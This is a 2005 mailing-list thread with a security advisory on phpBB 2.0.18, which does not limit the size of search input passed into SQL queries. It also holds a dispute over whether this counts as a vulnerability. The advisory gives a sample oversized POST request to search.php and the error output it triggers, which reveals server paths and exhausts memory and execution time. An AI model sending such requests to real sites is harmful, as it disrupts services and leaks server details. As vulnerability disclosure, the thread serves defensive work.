Onderwerp: phpBB 2.0.18 SQL Query problem

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[phpBB 2.0.18 SQL Query problem cXIb8O3.19]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date: 11.11.2005
from securityreason.com TEAM

- --- 0.Description ---
phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin boar
d package. phpBB has a user-friendly interface, simple and straightforward administration
panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL
, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community so
lution for all web sites.
Contact with author http://www.phpbb.com/about.php.

- --- 1. * SQL query problem ---
phpBB2 don't check size of sql query. So we can send any data in all post variables.
Standart Environment:

post_max_size=8M (standart)
max_allowed_packet < 7M (1M standart in mysql)

Example Evironment:
memory_limit>8MB
max_execution_time=30
max_allowed_packet=1M

I have written simple request where one variable POST to sql query was 1M.

- ---request---
POST /2018/phpBB2/search.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: strlen(x)

mode=results&search_keywords=SecurityReasonComSecu rityRea...xMB>max_allowed_packet.(example.1MB.data )...sonCom
- ---/request---

so in output:

- ---output1---
Could not obtain matched posts list
DEBUG MODE
SQL Error : 1153 Got a packet bigger than 'max_allowed_packet'
SELECT m.post_id FROM phpbb_search_wordlist w, phpbb_search_wordmatch m WHERE w.word_text LIKE 'securityreasoncomsecurityreasoncom...' AND m.word_id = w.word_id AND w.word_common <> 1 AND m.title_match = 0
Line : 321
File : search.php
- ---/output1---

sql error.

or when you have:
memory_limit=8MB
or
max_execution_time<30
display_error=1

You can see in output example:

- ---output2---
Fatal error: Maximum execution time of 15 seconds exceeded in /www/2018/phpBB2/includes/functions_search.php on line 72
- ---/output2---

- ---output3---
Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to allocate 1746401 bytes) in /www/2018/phpBB2/includes/functions_search.php on line 27
- ---/output3---


Exploit:
http://securityreason.com/achievement_exploitalert/4
(simple errors)

- --- 2. Greets ---
sp3x

- --- 3.Contact ---
Author: Maksymilian Arciemowicz < cXIb8O3 >
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciem...aksymilian.gpg
securityreason.com TEAM
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This isn't a security problem. Why post it to Bugtraq?
Did you reported this to the PhpBB bugtracker?

--
Ron

On Fri, 11 Nov 2005 max@jestsuper.pl wrote:

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> gpg: Can't check signature: public key not found
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>
> [phpBB 2.0.18 SQL Query problem cXIb8O3.19]
>
> Author: Maksymilian Arciemowicz (cXIb8O3)
> Date: 11.11.2005
> from securityreason.com TEAM
>
> - --- 0.Description ---
> phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin boar
> d package. phpBB has a user-friendly interface, simple and straightforward administration
> panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL
> , MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community so
> lution for all web sites.
> Contact with author http://www.phpbb.com/about.php.
>
> - --- 1. * SQL query problem ---
> phpBB2 don't check size of sql query. So we can send any data in all post variables.
> Standart Environment:
>
> post_max_size=8M (standart)
> max_allowed_packet < 7M (1M standart in mysql)
>
> Example Evironment:
> memory_limit>8MB
> max_execution_time=30
> max_allowed_packet=1M
>
> I have written simple request where one variable POST to sql query was 1M.
>
> - ---request---
> POST /2018/phpBB2/search.php HTTP/1.1
> Host: localhost
> Content-Type: application/x-www-form-urlencoded
> Content-Length: strlen(x)
>
> mode=results&search_keywords=SecurityReasonComSecu rityRea...xMB>max_allowed_packet.(example.1MB.data )...sonCom
> - ---/request---
>
> so in output:
>
> - ---output1---
> Could not obtain matched posts list
> DEBUG MODE
> SQL Error : 1153 Got a packet bigger than 'max_allowed_packet'
> SELECT m.post_id FROM phpbb_search_wordlist w, phpbb_search_wordmatch m WHERE w.word_text LIKE 'securityreasoncomsecurityreasoncom...' AND m.word_id = w.word_id AND w.word_common <> 1 AND m.title_match = 0
> Line : 321
> File : search.php
> - ---/output1---
>
> sql error.
>
> or when you have:
> memory_limit=8MB
> or
> max_execution_time<30
> display_error=1
>
> You can see in output example:
>
> - ---output2---
> Fatal error: Maximum execution time of 15 seconds exceeded in /www/2018/phpBB2/includes/functions_search.php on line 72
> - ---/output2---
>
> - ---output3---
> Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to allocate 1746401 bytes) in /www/2018/phpBB2/includes/functions_search.php on line 27
> - ---/output3---
>
>
> Exploit:
> http://securityreason.com/achievement_exploitalert/4
> (simple errors)
>
> - --- 2. Greets ---
> sp3x
>
> - --- 3.Contact ---
> Author: Maksymilian Arciemowicz < cXIb8O3 >
> Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
> GPG: http://securityreason.com/key/Arciem...aksymilian.gpg
> securityreason.com TEAM
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.2 (FreeBSD)
>
> iD8DBQFDTTO43Ke13X/fTO4RAuUsAJ9Ry6GqbPsb1wSxvqU37cp87UHpTgCeIwdy
> k1NCDNaYsDg1ofLsZFJDMAw=
> =dp0t
> -----END PGP SIGNATURE-----
>

>This isn't a security problem. Why post it to Bugtraq?
No? Are you sure? For example can you see path.
Good script have limits for inputs like vb.

phpbb don't have.

result:
Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to allocate 1746401 byt
es) in /www/2018/phpBB2/includes/functions_search.php on line 27

it is path disclosure

or can you see sql errors

good php script isn't dependant of php env.

> Did you reported this to the PhpBB bugtracker?

yes. no response.